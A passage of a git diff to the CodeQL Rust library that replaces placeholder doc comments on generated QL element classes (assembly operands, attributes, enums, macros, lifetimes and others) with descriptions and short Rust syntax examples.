--git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index e327ccd38da..d1b01f3c63c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 438b795b750..98b6ff146a8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Expr */ module Generated { /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandExpr` class directly. * Use the subclass `AsmOperandExpr`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index bf370e972f9..187d6cd75f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -16,6 +16,13 @@ import codeql.rust.elements.Name */ module Generated { /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index d226826bec0..388a94ca708 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -14,6 +14,13 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOption` class directly. * Use the subclass `AsmOption`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index ba21b840014..862b9a25465 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOptionsList` class directly. * Use the subclass `AsmOptionsList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 39516e748fd..8693aafd924 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -17,6 +17,13 @@ import codeql.rust.elements.AsmRegSpec */ module Generated { /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegOperand` class directly. * Use the subclass `AsmRegOperand`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index e7ac536d489..55498c97681 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.NameRef */ module Generated { /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index bc5800a093f..8433dc2483e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.Path */ module Generated { /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmSym` class directly. * Use the subclass `AsmSym`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll index aadca24997a..d63e9824efd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocItem` class directly. * Use the subclass `AssocItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 4d6ab67d3d0..9a454152b20 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index 66f6637e685..c7aada0045d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -22,9 +22,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll index 00784693f7d..351b77154e3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.Meta */ module Generated { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` * INTERNAL: Do not reference the `Generated::Attr` class directly. * Use the subclass `Attr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 20c26e455c7..3ec0785ce8d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.GenericParamList */ module Generated { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll index d63e58f120b..3ff3c77f04e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Const` class directly. * Use the subclass `Const`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll index 153a4bc16b7..d9a9ee1d855 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.GenericArgImpl::Impl as GenericArgImpl */ module Generated { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` * INTERNAL: Do not reference the `Generated::ConstArg` class directly. * Use the subclass `ConstArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll index 3069e5bc63c..c2268deec02 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ConstParam` class directly. * Use the subclass `ConstParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll index 3ba7a5e4997..8e82d3f428c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::DynTraitTypeRepr` class directly. * Use the subclass `DynTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll index 9c7c3bc331f..ec5c97892f5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` * INTERNAL: Do not reference the `Generated::Enum` class directly. * Use the subclass `Enum`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll index 823bf4173c4..9b769440bd3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl */ module Generated { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` * INTERNAL: Do not reference the `Generated::ExternBlock` class directly. * Use the subclass `ExternBlock`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll index f32f50b89d1..3484139b9fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll @@ -18,9 +18,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` * INTERNAL: Do not reference the `Generated::ExternCrate` class directly. * Use the subclass `ExternCrate`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll index 8756b707608..09c6ed3bdeb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItem` class directly. * Use the subclass `ExternItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll index bffae8deb81..250fe549b52 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.ExternItem */ module Generated { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItemList` class directly. * Use the subclass `ExternItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll index 8e8570c3eeb..caff5c62439 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FieldList` class directly. * Use the subclass `FieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll index ebdbe7e772f..c250406e68c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FnPtrTypeRepr` class directly. * Use the subclass `FnPtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll index 1804f3c7058..6089b1b73ba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.Pat */ module Generated { /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` * INTERNAL: Do not reference the `Generated::ForExpr` class directly. * Use the subclass `ForExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 6f539d1e7f2..46a51f3841b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll index 05227971de1..87987257248 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::GenericArg` class directly. * Use the subclass `GenericArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll index 56532c2a85e..a3a363c17bb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` * INTERNAL: Do not reference the `Generated::GenericParam` class directly. * Use the subclass `GenericParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll index 65b4a330b94..ad307cb177f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll @@ -20,9 +20,13 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` * INTERNAL: Do not reference the `Generated::Impl` class directly. * Use the subclass `Impl`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll index ab4d36247e0..01ee54612c3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ImplTraitTypeRepr` class directly. * Use the subclass `ImplTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll index a4e874d3a9a..780cc9a4b07 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::InferTypeRepr` class directly. * Use the subclass `InferTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index eaf0607c5d9..bf360984e08 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl */ module Generated { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` * INTERNAL: Do not reference the `Generated::Item` class directly. * Use the subclass `Item`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll index 7205dbc6bef..5d470ac9a77 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.Item */ module Generated { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` * INTERNAL: Do not reference the `Generated::ItemList` class directly. * Use the subclass `ItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll index 69c89f1b3b5..442a4483c4b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::LetElse` class directly. * Use the subclass `LetElse`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll index 2819e6fc403..9652d460b9e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::Lifetime` class directly. * Use the subclass `Lifetime`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 38f66b06f2f..098935e35b8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Lifetime */ module Generated { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll index 7bf2d05b086..a293bfd5427 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TypeBoundList */ module Generated { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeParam` class directly. * Use the subclass `LifetimeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 6aea6ebfd8b..4b4b1707e54 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 8f4b7e0d8a4..6d7510e55c8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,9 +18,15 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. * Use the subclass `MacroDef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll index 2a986228abd..60e6ae6708e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll @@ -15,9 +15,11 @@ import codeql.rust.elements.MacroCall */ module Generated { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` * INTERNAL: Do not reference the `Generated::MacroExpr` class directly. * Use the subclass `MacroExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index cddbc98a799..5c416e8e6bc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` * INTERNAL: Do not reference the `Generated::MacroPat` class directly. * Use the subclass `MacroPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll index 0ca35704921..d7c915a9363 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroRules` class directly. * Use the subclass `MacroRules`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index 8664ef91110..ec6c4a5332d 100644 --- 